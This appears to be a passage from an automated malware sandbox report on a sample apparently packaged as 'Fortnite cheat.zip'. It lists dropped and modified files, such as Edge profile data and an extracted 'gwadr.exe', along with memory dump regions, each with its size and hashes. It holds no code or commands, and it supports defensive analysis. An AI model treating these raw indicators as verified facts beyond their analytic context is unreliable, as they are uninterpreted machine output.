ffccf030475335acbc296ddf7d2d3eb6

SHA1
5b59285a4871ee91a61ddb4f6a443a81bf7832fc

SHA256
d3f0df982bc4fac724d1feb258294fb74a729d62c037287a246cc88c087a2fb8

SHA512
fcee784c662d33b3d7d57f5eb7d1196e7ed5d3cf0d1d435a53c124e1e8ecc35e8c13cc5c24a84327ff6dcc2c6c32e46dec0c43f3cb14f10385644c9364119f29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57c4a8.TMP
Filesize
1KB

MD5
3630ce6582727cab2c3c5ce2808d34c3

SHA1
dc888c7a9e0650baf4764ca062632ab546b0fac2

SHA256
6a3496ead77a1c3857873b518001169bd08f5a3e7cc776a4abb31e2ce27006f2

SHA512
d860ed1d6bc2590ef68755496873d8077c6fd506b4d5f9fa4590382ec0b6aedcc774044139952705b93f6ba27e7b66a51344d02b0708327ed97f4c68e8dd05a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
a66c2f37737c7be17b04845921e3f52a

SHA1
c07d435cf819df49ae743a2bb542286b36065bed

SHA256
c294174c81a839fbefc01db7bc6fc33f2ce4f02613c40a345198521ab979a5d7

SHA512
1f1bcfa4913894ab97a2faf609a1ef68d1fd2a3b10953927f375c59ffeaac3626d5dabedcec1debd1a7312b56328e893a86be10972948682cde8306fff0e178b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
39e9a878b1587d698e8fe91610985389

SHA1
dfa7b0c21d0c7fad7315fb32ddfb8810afa89e6f

SHA256
74b614c3f6ec0a90db76af1af92335f49e17d4445a252260167015192aeb5210

SHA512
66eef727e77f0a351d32806ae5c9e902aba90a181d9ff7addcb1ab62bacb4f16248e69dc82846c1523ac2188c289a5e7e2322658cd1a3fb437409a8a3baedeb3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
10KB

MD5
8cfaa56da5e51cffa4c31fcf1802bbbf

SHA1
fdc2dcbb136b18dfba5a31b4136b0f593b9794e1

SHA256
22a0a03c27582d68d018cf7f667780563179f817cd86606a7fb0deebc17ff10d

SHA512
750600acf62e51f72fb4de89867cbd6b8694c4ea686b4d90f2c7fb6a60a817e08d9772b5ec7ba5e95ff7924d0e6bcd10f672a5097d18372ba38a8e0847c53678

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
bb9c0c1fc83173ccc916d9b35b0ecdba

SHA1
43442dd906f9c0aa911a0e9ff3ae364ce4ec2c1c

SHA256
35a8c7756123ddf180eb4a96204316aff58964cf752630b4e9d0149ca2eb73ee

SHA512
5d9f3c9a696515363e3d5135dfb6ad57191ae88b2c961057359ebb74a6ba8957e59aa56fb44a275e88d6267656de896ac3a7a30650a775f5106b635659088cb6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
2e01c22ec2ad795860417ec57cfe603d

SHA1
cfeea988c52e482cca78610f982dd32f6a38bd9c

SHA256
4d5bb1f049f16bbbbda51ca12ee096aaa75f5a2a98647c0b0cd27340d7cef167

SHA512
1f0070ae4985f58681cfcdd77e2078412985468b98825ccc94d79ac8ffc6bc7261a49db3932617f25d5ef75a4a43f3ad77e372603e73cb7de05f7d3508905a82

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
cb7efe71a80cc04e9d073da272c92a35

SHA1
449a63b3eb996f2b5b335cc811b8e46fe8b5ea44

SHA256
eafee1f0ca493657c764627e113b84b2f122acd4c5d2b08374fb86350ea851e7

SHA512
04a4059dfdca800fb6f13cdab38cff0eec4e21e6b03ad04a41b15f9b1989b36ed5a2758a5536bf9178aaa05a0ea840912c4ce2d6d50f98193ea9b08486b62524

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
b55738b83d1126c656d2f813bd3dccb6

SHA1
d7925b805a557124b9eabe0ebe91d50efcb4290c

SHA256
097cccfadc939e8dc761d65cea75100cdae9090d74bb9a841b13be6115b6b3ba

SHA512
f27437f2bac83e74f38a0894874671a4092b13eb778d7875b1c95da0e0b9d67bc4e1d8207a239b1430a4fc50e0ba9ff8758bad4b32e00da24c26a85916eab378

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
bc88c3eb26677f1814cf3b4b739984ca

SHA1
35027e5dc74282831fd707d0062a6bf64e51fac2

SHA256
39679dc4ee7522281c55ce6e5f1507ca2519e035c8a2312eeec1295d9b79d526

SHA512
ae275dba9e41d600419564af2cd6ee9241106aa762094a291d518ca0aadee5cff4846e4e27151679a8646c1e42cba987b9191d6ad6145cafb5205b4f5d01d139

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
11KB

MD5
d8d555fdb712a554216f793f2789195a

SHA1
dd4927a0549361b0a069ed25cea81059a9a333b5

SHA256
d7298ee7a5a1dd1932fa48e43b822ae5f28baaee1c5fd234f013f8f3c3fd4802

SHA512
97a9780963d084f732bc44d82b5e8c75b1b3cb9339f9262f4f5d3a49b23ed085fcf882cecf03c125e183536498ce6c458768e41138a0a0238e78795838b78488

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gwadr.exe
Filesize
1.1MB

MD5
7ecf51664c9a0533ff46605c65b189e2

SHA1
b5a4ce3a27b406a16d6dd3068a7a4a32a9c162e3

SHA256
4668ef4d299bdbff5be6072ba0761db1e6b72a96e614b9ffe52262a1175842be

SHA512
88622a731e5298fc58bb9b786be5344cda4f92d9de66d25a219f8e796fc77cf285df7c93d4a8d1ded5ce8adf924bae90a72a83d54ee59def75c4b8895af8d9d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m4tt5u5c.mfm.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\KFlauncher\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif
Filesize
153B

MD5
1e9d8f133a442da6b0c74d49bc84a341

SHA1
259edc45b4569427e8319895a444f4295d54348f

SHA256
1a1d3079d49583837662b84e11d8c0870698511d9110e710eb8e7eb20df7ae3b

SHA512
63d6f70c8cab9735f0f857f5bf99e319f6ae98238dc7829dd706b7d6855c70be206e32e3e55df884402483cf8bebad00d139283af5c0b85dc1c5bf8f253acd37

Download Submit
C:\Users\Admin\Downloads\Fortnite cheat.zip
Filesize
20.3MB

MD5
49a1cf4ac9d9a48d84b9744d3f164c7f

SHA1
a1c40ab8172adb96ca7eed13d3469057a40f5ab1

SHA256
55c6eae8f635d0bf9b3029cf5ee0ded048913c4aeb9fbeb6a829c932fb90b002

SHA512
d0dcf8d0c5164360f3c2ac2648234b7da81c071ed285bb1354c7e827e62caf3f4b7b680ace4182adc3af9de2bfc799930b1c4d3342db332ed368cd8d4b34885b

Download Submit
C:\Users\Admin\Downloads\winrar-x64-701.exe
Filesize
3.7MB

MD5
3a2f16a044d8f6d2f9443dff6bd1c7d4

SHA1
48c6c0450af803b72a0caa7d5e3863c3f0240ef1

SHA256
31f7ba37180f820313b2d32e76252344598409cb932109dd84a071cd58b64aa6

SHA512
61daee2ce82c3b8e79f7598a79d72e337220ced7607e3ed878a3059ac03257542147dbd377e902cc95f04324e2fb7c5e07d1410f0a1815d5a05c5320e5715ef6

Download Submit
\??\pipe\LOCAL\crashpad_684_SCBTYFXMZSXBGLTV
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/808-1948-0x000001964D380000-0x000001964D3A2000-memory.dmp

Filesize
136KB

Download
memory/1348-5275-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5285-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5287-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5286-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5284-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5283-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5281-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5282-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5277-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1348-5276-0x00000239706A0000-0x00000239706A1000-memory.dmp

Filesize
4KB

Download
memory/1448-2021-0x0000000140000000-0x00000001411B0000-memory.dmp

Filesize
17.7MB

Download
memory/1448-2022-0x0000000140000000-0x00000001411B0000-memory.dmp

Filesize
17.7MB

Download
memory/4344-1984-0x00000229CE2B0000-0x00000229CE365000-memory.dmp

Filesize
724KB

Download
memory/4344-1990-0x00000229CE500000-0x00000229CE506000-memory.dmp

Filesize
24KB

Download
memory/4344-1983-0x00000229CE290000-0x00000229CE2AC000-memory.dmp

Filesize
112KB

Download
memory/4344-1985-0x00000229CE370000-0x00000229CE37A000-memory.dmp

Filesize
40KB

Download
memory/4344-1986-0x00000229CE4E0000-0x00000229CE4FC000-memory.dmp

Filesize
112KB

Download
memory/4344-1987-0x00000229CE4C0000-0x00000229CE4CA000-memory.dmp

Filesize
40KB

Download
memory/4344-1988-0x00000229CE520000-0x00000229CE53A000-memory.dmp

Filesize
104KB

Download
memory/4344-1989-0x00000229CE4D0000-0x00000229CE4D8000-memory.dmp

Filesize
32KB

Download
memory/4344-1991-0x00000229CE510000-0x00000229CE51A000-memory.dmp

Filesize
40KB

Download
memory/4540-2005-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2008-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2006-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2009-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2011-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2012-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2013-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2004-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2010-0x0000000000F70000-0x0000000000F90000-memory.dmp

Filesize
128KB

Download
memory/4540-5274-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-5273-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2003-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2007-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2015-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2014-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-5272-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2017-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/4540-2016-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/5208-1962-0x00007FFADF130000-0x00007FFADF132000-memory.dmp

Filesize
8KB

Download
memory/5208-1963-0x00007FF7CB370000-0x00007FF7CC520000-memory.dmp

Filesize
17.7MB

Download
memory/5616-1947-0x0000000000200000-0x00000000007AD000-memory.dmp

Filesize
5.7MB

Download
memory/5616-2025-0x0000000000200000-0x00000000007AD000-memory.dmp

Filesize
5.7MB

Download
memory/5616-1872-0x0000000029F70000-0x000000002A1CF000-memory.dmp

Filesize
2.4MB

Download
memory/5616-1843-0x0000000000200000-0x00000000007AD000-memory.dmp

Filesize
5.7MB

Download
memory/6224-2002-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6224-1999-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6224-1997-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6224-1998-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6224-1996-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6224-1995-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/7244-5267-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/7244-5266-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/7312-1927-0x00007FF7DD5D0000-0x00007FF7DE780000-memory.dmp

Filesize
17.7MB

Download
memory/7312-1926-0x00007FFADF130000-0x00007FFADF132000-memory.dmp

Filesize
8KB

Download